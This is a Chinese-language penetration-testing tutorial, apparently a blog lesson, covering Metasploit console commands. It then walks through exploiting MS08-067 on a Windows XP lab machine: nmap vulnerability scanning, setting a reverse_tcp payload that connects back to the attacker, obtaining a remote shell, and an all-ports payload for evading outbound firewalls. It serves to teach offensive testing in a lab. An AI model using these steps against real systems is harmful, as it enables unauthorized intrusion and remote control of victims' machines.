滲透第一課:嘗試滲透
- 在簡單點額了解了Metasploit框架后,我們就需要學習使用msf和Kali滲透攻擊了
0x00:攻擊基礎
Metasploit框架中含有數百個模塊,當然無法用“腦子”,也沒有功夫去記所有的模塊(除非很閑),當然了,一些比較基礎的還是需要記住的了。
msf > show exploits
- 命令作用:
- 顯示MSF框架中所有可用的攻擊模塊。在msf終端中可以針對發現的漏洞實施對應的攻擊策略。
- (Metasploit團隊依舊在維護攻擊模塊,所以說這個列表會非常的長,筆者現在使用的時候有1896條)
msf > show auxiliary
- 命令作用:
- 顯示所有的輔助模塊和用途(英文),輔助模塊用途非常廣,可以是掃描器、DoS工具、Fuzz測試器等工具
msf > show options
- 命令作用:
- 參數 options 是保證Metasploit框架中各個模塊正確運行所需要的各種設置,輸入 show options 會列出這個模塊所需要的各個參數。如果沒有選擇模塊,輸入這個命令顯示所有的全局參數,
- 輸入 back 命令可以返回上一級命令狀態哦!(在模塊中quit/exit會直接退出msf終端)
-
msf > search [關鍵字詞]
- 如果想在眾多的模塊中,找到針對某一個特定的類型的攻擊模塊的時候,可以使用search命令進行模塊組件的搜索;當然search命令也支持搜索特定的模塊,並顯示該模塊的具體位置。
我們利用search命令搜到了某模塊的位置,use進入該模塊操作。
進入模塊(任何模式下use和search命令都可以跳到另一個模塊中)使用show options顯示模塊參數。
msf > show payloads
攻擊載荷是一種針對特定平台的一段攻擊代碼,通過網絡傳送到攻擊目標進行執行。和show options一樣,在模塊下執行 show payloads 命令,Metasploit會將和當前模塊兼容的攻擊載荷顯示出來。
在針對Windows操作系統的攻擊中,簡單的攻擊愛喝可能只會返回目標主機的一個命令行界面,而復雜的攻擊載荷則會返回一個完整的圖形操作界面。
msf > show payloads # 顯示Metasploit下所有支持的攻擊載荷
- 在例如ms08_067模塊下顯示攻擊載荷列表
msf exploit(windows/smb/ms08_067_netapi) > show payloads #x顯示ms08_067模塊支持的攻擊載荷列表
- 選擇使用的攻擊載荷(reverse_tcp > 反彈式TCP連接)
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
在選擇reverse_tcp攻擊載荷方法后,輸入 show options ,就會顯示需要配置的參數列表
options顯示的參數分為ms08_067模塊下的參數和reverse_tcp攻擊載荷下的參數。
- 可以配置(LHOST和LPORT)讓目標主機回連到攻擊機的特定的IP地址和端口號上,這就稱為反彈式的攻擊載荷(其中LPORT默認為4444端口);在攻擊載荷中,連接是由目標主機發起的,並且其連接對象是攻擊機[可以使用這種技巧穿過防火牆和NAT網關]
msf > show targets
Metasploit攻擊模塊通常可以列出受到漏洞影響目標的操作系統的類型。比如針對MS08_067漏洞的攻擊依賴於硬編碼的內存地址,所以這個攻擊針對的是特定的操作系統版本且適合特定的補丁級別、語言版本以及安全機制實現的。由此攻擊是否成功,取決於目標Windows系統的版本。
msf5 exploit(windows/smb/ms08_067_netapi) > show targets # 自動選擇
在 show targets的顯示列表中,攻擊列表中的一個選項。通常攻擊模塊通過目標操作系統的指紋信息,自動選擇OS版本進行攻擊;不過最好的還是通過人工更加的識別處信息並選擇選項,避免觸發錯誤、破壞性的攻擊。
info 命令
show和search命令提供的信息過於簡短;可以使用 info 命令加上模塊的名字(info[模塊名]或者模塊下info命令)可以顯示模塊的詳細信息、參數說明以及可操作的OS。
set 和 unset 命令
Metasploit模塊中的所有參數兩種狀態:已設置(set)和未設置(unset)。
部分參數 show options后Required會別標記為Yes(必填);必填的選項需要使用set命令對參數設置(同時啟用)使用unset命令可以禁用相關的參數。
msf [模塊] > set [參數] [設置參數內容]
- 命令操作
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.184
RHOSTS => 192.168.2.184
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > show options
如此,我們將模塊的攻擊目標RHOSTS和Tatget都配置完成了;
使用 show options 命令查看模塊的參數配置,確認配置完成。
setg 和 unsetg 命令
setg和unstg命令可以在模塊內設置參數配置的同時,完成/抹除全局的參數配置;使用這組命令則不必每次都重復設置同樣的參數了。
save 命令
在使用全局參數配置后,可以使用 save 命令將當前的設置值保存下來,這樣二次啟動msf終端的時候,依舊可以使用這些參數值。
msf5 exploit(windows/smb/ms08_067_netapi) > save
Saved configuration to : /root/.msf3/config
save命令執行后,參數值會別保存在磁盤上(/root/.msf3/config)
0x01:首次滲透(Win_xp)
對目標靶機進行漏洞掃描
- 使用Nessus或其他漏洞掃描工具(Web管理頁面操作)
Nessus 漏洞掃描結果:
從掃描結果中我們發現目標存在MS08-067【CVE-2008-4250】漏洞
- nmap手工掃描漏洞
ps:如果有了經驗后,也可以通過nmap進行手工掃描,在這里就針對MS08-067漏洞進行掃描,查看是否存在該漏洞。
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -PO 192.168.2.184
掃描命令采用 -sT/-sS(隱秘) 和 -A(全面) 掃描目標,並引用nmap腳本(--script)—”smb-vuln-ms08-067“掃描目標。
我們在第三行{VULNERABLE}的顯示結果,表示存在第四行的{MS08_067}漏洞
第六行顯示了該漏洞的CVE編號【CVE-2008-4250】,后續顯示相關的漏洞信息
攻擊前的確認和准備
確認目標主機存在MS08_067漏洞,我們進入msf環境調用該漏洞的攻擊模塊
我們在之前的nmap中確認了目標的操作系統為:Microsoft Windows XP Professional SP2
選擇使用的攻擊載荷===>(reverse_tcp > 反彈式TCP連接)
設置目標主機的操作系統的具體系統版本類型(由於MS08_067是不同系統有不同的方法所以……)
設置目標的IP地址、TCP反彈的監聽地址IP和端口
攻擊開始
msf5 exploit(windows/smb/ms08_067_netapi) > exploit #測試能否攻擊 (進入方法 1)
meterpreter > shell #可以進入目標系統的cmd
msf5 exploit(windows/smb/ms08_067_netapi) > run #
攻擊 (進入方法 2)
shell 交互式界面,此時就可以控制對方的操作系統了
攻陷成功
當我們可以在cmd模式的shell交互界面中操作對方系統的時候,就表示我們成功攻陷對方主機了!
0x02 全端口攻擊載荷:暴力猜解目標開放端口
可以攻陷Win_XP系統,原因在於目標主機反彈連接使用的端口沒有被過濾掉;但如果我們攻擊的組織內部設置了嚴格的防火牆出站策略,就無法接收反彈連接了。
我們可以猜解443端口有沒有被防火牆禁止,可以進行逐一嘗試常見的服務端口;當然MSF也提供了一個專用的攻擊載荷幫助我們找到“可利用”的端口。
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/dllinject/reverse_tcp_allports
0x03:模仿攻擊Ubantu主機
我們對Windows xp攻擊完成了,我們可以對Linux主機進行模仿的攻擊,雖然目標不同,但是攻擊思路是類似的,在攻擊載荷是不同的。
- 手動掃描目標主機
通過nmap的手動掃描結果看出目標主機的以下信息:
- SSH-22和apache-80端口和服務處於開啟的狀態
- 目標系統為 Ubantu Linux